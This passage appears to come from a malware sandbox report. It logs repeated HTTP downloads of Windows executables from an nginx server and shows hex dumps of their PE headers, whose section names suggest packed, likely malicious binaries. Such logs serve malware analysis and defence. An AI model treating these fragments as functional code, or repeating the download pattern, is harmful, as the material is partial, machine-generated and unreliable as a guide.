00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 77 6d 64 71 6a 78 6f 00 60 1a 00 00 30 32 00 00 5e 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 76 61 66 64 6a 71 78 00 10 00 00 00 90 4c 00 00 04 00 00 00 52 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4c 00 00 22 00 00 00 56 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:58:36 GMTContent-Type: application/octet-streamContent-Length: 314368Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTConnection: keep-aliveETag: "66f90daa-4cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:58:40 GMTContent-Type: application/octet-streamContent-Length: 1877504Last-Modified: Thu, 24 Oct 2024 02:50:28 GMTConnection: keep-aliveETag: "6719b5f4-1ca600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 67 47 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6f 6c 72 78 6d 61 72 00 50 1a 00 00 60 50 00 00 44 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 68 77 64 7a 74 76 6e 00 10 00 00 00 b0 6a 00 00 04 00 00 00 80 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 6a 00 00 22 00 00 00 84 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:58:45 GMTContent-Type: application/octet-streamContent-Length: 2742272Last-Modified: Thu, 24 Oct 2024 01:44:44 GMTConnection: keep-aliveETag: "6719a68c-29d800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 25 5a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 78 69 6a 65 73 76 6f 00 80 29 00 00 a0 00 00 00 78 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6f 61 6d 79 79 68 71 00 20 00 00 00 20 2a 00 00 04 00 00 00 b2 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2a 00 00 22 00 00 00 b6 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:58:54 GMTContent-Type: application/octet-streamContent-Length: 1931264Last-Modified: Thu, 24 Oct 2024 02:50:35 GMTConnection: keep-aliveETag: "6719b5fb-1d7800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 a0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4c 00 00 04 00 00 bd e9 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 8d 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 8c 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 77 6d 64 71 6a 78 6f 00 60 1a 00 00 30 32 00 00 5e 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 76 61 66 64 6a 71 78 00 10 00 00 00 90 4c 00 00 04 00 00 00 52 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4c 00 00 22 00 00 00 56 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:59:03 GMTContent-Type: application/octet-streamContent-Length: 1877504Last-Modified: Thu, 24 Oct 2024 02:50:28 GMTConnection: keep-aliveETag: "6719b5f4-1ca600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 67 47 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6f 6c 72 78 6d 61 72 00 50 1a 00 00 60 50 00 00 44 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 68 77 64 7a 74 76 6e 00 10 00 00 00 b0 6a 00 00 04 00 00 00 80 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 6a 00 00 22 00 00 00 84 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:59:05 GMTContent-Type: application/octet-streamContent-Length: 2742272Last-Modified: Thu, 24 Oct 2024 01:44:44 GMTConnection: keep-aliveETag: "6719a68c-29d800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 25 5a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 78 69 6a 65 73 76 6f 00 80 29 00 00 a0 00 00 00 78 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6f 61 6d 79 79 68 71 00 20 00 00 00 20 2a 00 00 04 00 00 00 b2 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2a 00 00 22 00 00 00 b6 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:59:17 GMTContent-Type: application/octet-streamContent-Length: 1931264Last-Modified: Thu, 24 Oct 2024 02:50:35 GMTConnection: keep-aliveETag: "6719b5fb-1d7800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 a0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4c 00 00 04 00 00 bd e9 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 8d 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 8c 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 77 6d 64 71 6a 78 6f 00 60 1a 00 00 30 32 00 00 5e 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 76 61 66 64 6a 71 78 00 10 00 00 00 90 4c 00 00 04 00 00 00 52 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 